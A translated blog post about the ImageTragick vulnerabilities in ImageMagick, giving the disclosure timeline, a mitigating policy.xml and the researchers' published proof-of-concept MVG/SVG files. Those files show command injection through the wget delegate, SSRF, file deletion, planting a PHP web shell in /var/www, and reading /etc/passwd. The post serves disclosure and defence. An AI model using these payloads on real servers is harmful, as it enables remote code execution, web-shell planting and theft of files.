A few hours ago, Ryan Huber from Slack Security announced some critical vulnerability in software used by many sites. This software was ImageMagick - a popular package for image processing.
Summary of vulnerabilities is available on imagetragick.com . Yes, without the name and the site for the vulnerability was not done this time, although initially Ryan wrote that there would be no pathos, including the name and the site. (there is also twitter )
The vulnerability was detected by stewie and revealed on a hackerone on April 21 in a report, apparently, Mail.ru, because approximately a week after that Nikolay Ermishkin from the security team of Mail found an opportunity to perform RCE. All of this, of course, told the IM development team. Those on April 30 released a fix, but already on May 1 they were informed that the fix is not a bit fixed. Therefore, on May 2, the vulnerability was disclosed in the mailing list of developers of packages based on IM, and on May 3, the vulnerability was disclosed publicly. A few hours later, a detailed description appeared on the openwall with examples of exploits. But more about that below.
First of all, it's worth noting that your site is (probably) affected by these vulnerabilities not only if you use IM directly, but also through various packages, including imagick in PHP, rmagick and paperclip in Ruby and imagemagick in nodejs.
In order to at least somehow defend oneself, it is proposed to do at least one of the following two things (and better both).
<policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="SHOW" /> <policy domain="coder" rights="none" pattern="WIN" /> <policy domain="coder" rights="none" pattern="PLT" /> </policymap>
IM configs are usually located in /etc/ImageMagick
. alexkbs in the comments suggests that you can use convert -list policy
to find out where the config file is and see the list of effective restrictions. To ansible sawed a playbook that adds this config .
As mentioned above, the IM patch is ready, but it is incomplete. The fact is that, as the researchers note, the vulnerability was found earlier by hackers and is already being exploited.
From the post of Karim Valiev (Mail) on the openwall. All PoC promise to place on https://github.com/ImageTragick/PoCs (404 so far) . UPD : put everything on https://github.com/ImageTragick/PoCs + a simple script to check locally.
The problem is, IM has a delegate
feature, which allows IM to process files with external libraries. In essence, this is a system()
call with a command line from the delegates.xml file. One of the default commands
"wget" -q -O "%o" "https:%M"
where% M is the link from the input stream. For example, you can proxy https://example.com"|ls "-la
, which will lead to the execution of ls -la
(must be installed wget or curl).
$ convert 'https://example.com"|ls "-la' out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ...
Worst of all, IM supports type formats.
svg, mvg, which allow you to include external files via any protocols supported by the delegates.
(exploit.mvg)
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context
(exploit.svg)
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/image.jpg"|ls "-la" x="0" y="0" height="640px" width="480px"/> </svg>
$ convert exploit.mvg out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ...
This immediately reminded me of a recent vulnerability in ffmpeg , found by cdump from the same Mail, by the way.
(ssrf.mvg)
push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context
$ convert ssrf.mvg out.png # HTTP example.com
Using the ephemeral
pseudo-protocol, it is possible to delete files.
(delete_file.mvg)
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context
$ touch /tmp/delete.txt $ convert delete_file.mvg out.png # /tmp/delete.txt
Another pseudo-protocol is used - msl
.
(file_move.mvg)
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context
(/tmp/msl.txt)
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> </image>
/tmp/image.gif
- a picture with a PHP shell inside, for example, https://www.secgeek.net/POC/POC.gif .
$ convert file_move.mvg out.png # /tmp/image.gif /var/www/shell.php
Again the pseudo-protocol, this time label
. You can render the contents of files in pictures.
(file_read.mvg)
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context
$ convert file_read.mvg out.png # /etc/passwd
HD Moore suggests using MediaWiki engine to switch generation of thumbnails from IM to GD
Seth Arnold writes that GraphicsMagick (fork IM, aimed at multithreading and performance), is likely to be subject to the same vulnerabilities. Hopefully, the GM team will conduct an audit in the coming hours.
UPD from kukutz : the author of GM asks to give him a working exploit and advises to use the environment variable MAGICK_CODER_STABILITY=PRIMARY
The post will be supplemented with new details.
Source: https://habr.com/ru/post/282896/
All Articles